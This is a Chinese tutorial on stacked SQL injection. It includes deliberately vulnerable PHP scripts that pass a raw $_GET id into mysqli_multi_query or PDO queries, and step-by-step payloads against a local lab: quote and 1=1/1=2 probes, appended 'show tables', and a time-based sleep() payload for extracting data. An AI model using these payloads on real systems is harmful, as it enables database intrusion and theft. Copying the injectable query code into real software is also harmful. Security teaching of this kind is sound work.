SQL注入原理-堆叠注入

发布于:2022-12-13 ⋅ 阅读:(653) ⋅ 点赞:(0)

        小伙伴们大家好!本期为大家带来的是SQL注入原理之堆叠注入。

目录

堆叠注入原理

基于mysqli数据对象的堆叠注入

实战演示 

1、检查是否存在注入点

2、尝试使用堆叠注入

基于PDO数据对象的堆叠注入

PDO数据对象

实战演示:

1、判断是否存在注入点

2、尝试使用堆叠注入


堆叠注入原理

        堆叠查询可以执行多条语句,多条语句之间以分号隔开。堆叠注入就是利用在一条查询语句结束之后,在语句末尾加入分号之后再插入恶意的SQL语句,就可以达到攻击者的意图。

例如执行一下语句:

 select phone,e_mail from guests;select username,password from users;

可以看到我们在一条语句之后再接一条语句,就可以实现执行两条语句的功能。

基于mysqli数据对象的堆叠注入

mysqli_query()只能执行一条SQL语句,如果这需要执行多条SQL语句,就需要使用mysqli_multi_query()方法,mysqli_multi_query()可以执行多条SQL语句,如果后端代码使用这个方法去执行SQL语句,我们就可以利用堆叠注入获取后台数据库的信息。

实战演示 

源码:

<?php
//连接数据库
$coon = mysqli_connect("127.0.0.1", "root", "root", "test", 3306);
if (mysqli_connect_errno()) { //检查连接错误
    printf("连接失败: %s", mysqli_connect_error());
    exit();
}
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    $sql = "select * from users where id='$id' limit 0,1";
    $res = mysqli_multi_query($coon, $sql);
    if ($res) {
        do {
            if ($result = mysqli_store_result($coon)) { //获取第一个结果集
                while ($row = mysqli_fetch_row($result)) { //遍历结果集中每条记录
                    echo "<center><br/>";
                    var_dump($row);
                    echo "<br/><br/>";
                    echo "</center>";
                }
                $result->close(); //关闭一个打开的结果集
            }
        } while (mysqli_more_results($coon) && mysqli_next_result($coon)); //获取下一个结果集,并继续执行循环
    }
}
mysqli_close($coon);//关闭mysqli连接

1、检查是否存在注入点

我们现在id值后面加上一个单引号“'”,观察页面的回显。

payload:“http://127.0.0.1/opsql/sql13.php?id=1'

http://127.0.0.1/opsql/sql13.php?id=1'

通过回显爆出的错误我们可以大致判断次数可能存在字符型注入

为了确保的判断是正确的,我们再加入and 1=1和and 1=2的条件,看条件是否能够插入到后端的SQL语句当中。

payload:“http://127.0.0.1/opsql/sql13.php?id=1' and 1=1--+”

“http://127.0.0.1/opsql/sql13.php?id=1' and 1=2--+”

http://127.0.0.1/opsql/sql13.php?id=1' and 1=1--+
http://127.0.0.1/opsql/sql13.php?id=1' and 1=2--+

从页面回显结果可以得知当and 1=1时页面正常回显数据,而and 1=2时页面没有回显,说明我们构造的and条件被插入到了后端SQL语句当中,存在注入点。

2、尝试使用堆叠注入

我们已经了解了堆叠注入的原理,现在id值后面加入分号,再接一个SQL语句看是否能够会显出结果。

构造payload:“http://127.0.0.1/opsql/sql13.php?id=1';show tables--+”

http://127.0.0.1/opsql/sql13.php?id=1';show tables--+

可以看到,我们在后面拼接了show tables的语句,页面显示了show tables的结果——当前数据库下的两张表users和guests。

这样我们就可以进行之后的数据查询的任务了。

比如,我们要得到所有的数据库名,表名,列明以及数据,都可以在后面拼接所需要的SQL语句,这样我们就能得到所有的数据结果了。

SQL基础不会的可以参考我们之前的文章-SQL注入前置知识,这里就不给大家做过多的赘述了。

基于PDO数据对象的堆叠注入

PDO数据对象

PHP 数据对象PDO(PHP Data Object的缩写) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

但是使用PDO执行SQL语句时,可以执行多条语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以使用时间盲注来获取数据。

实战演示:

源码:

<?php
try {
    // 连接数据库
    $coon = new PDO("mysql:host=localhost;dbname=test", "root", "root");
    $coon->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    if (isset($_GET['id'])) {
        $id = $_GET['id'];
        $sql = "select * from guests where id='$id' limit 0,1";
        $stmt = $coon->query($sql);
        $result = $stmt->fetchAll();
        foreach ($result as $key => $value) {
            echo "<center><br/>";
            echo "<h1>name is : " . $value['username'] . "</h1><br/>";
            echo "<h1>phone is : " . $value['phone'] . "</h1><br/>";
            echo "</center>";
        }
    } else {
        echo "<center><br/>";
        echo "<h1>Please input a value as id!</h1>";
        echo "</center>";
    }
} catch (PDOException $e) {
    echo "<center><br/>";
    echo "<h1>";
    echo $e->errorInfo[2];
    echo "</h1>";
    echo "</center>";
}
$coon = null;

1、判断是否存在注入点

还是老套路,现在id值后面加一个单引号“'”,观察页面的回显信息。

payload:“http://127.0.0.1/opsql/sql14.php?id=1'

http://127.0.0.1/opsql/sql14.php?id=1'

可以看出来,后端SQL查询语句中,id值是被单引号包裹的,可能存在字符型注入

咱们依然还是使用and 1=1和and 1=2来确定我们的最初判断是否正确。

payload:

“http://127.0.0.1/opsql/sql14.php?id=1' and 1=2--+”

“http://127.0.0.1/opsql/sql14.php?id=1' and 1=1--+”

http://127.0.0.1/opsql/sql14.php?id=1' and 1=2--+
http://127.0.0.1/opsql/sql14.php?id=1' and 1=1--+

and 1=1时数据正常回显,and 1=2时页面没有回显,and条件成功插入到后端的SQL语句当中,存在注入点,且为字符型注入。

2、尝试使用堆叠注入

我们尝试构造payload在id值后加入分号“;”再拼接一条SQL语句。

payload:“http://127.0.0.1/opsql/sql14.php?id=1'; show tables--+”

http://127.0.0.1/opsql/sql14.php?id=1'; show tables--+

没有显示出来show tables的信息,猜测可能使用的PDO数据对象连接的数据库。

考虑到PDO虽然可以执行多条SQL语句,但是只能返回第一条SQL语句的结果。那我们就得使用时间盲注来解决这个问题了。 

为了方便看出来响应的时间,我这里使用burpsuite中的重发器来进行测试。

从上面的两次测试可以看出来,拼接sleep()之前正常的响应时间为2.042秒,拼接sleep(5)函数之后的页面响应时间为7.058秒,差不多页面确实延时了5秒中,代表可以堆叠注入!

接下来我们尝试爆出当前数据库的长度

payload:

“http://127.0.0.1/opsql/sql14.php?id=1';select if(length(database())=4,sleep(5),null)--+” 

http://127.0.0.1/opsql/sql14.php?id=1';select if(length(database())=4,sleep(5),null)--+

这样我们就得到了当前数据库长度,接下来可以爆出数据库的库名以及接下来的获取数据的各种操作,具体的时间盲注操作可以参考我之前的文章——SQL注入原理之时间盲注,原理都一样,小伙伴理解之后套用就行了。


网站公告

今日签到

点亮在社区的每一天
去签到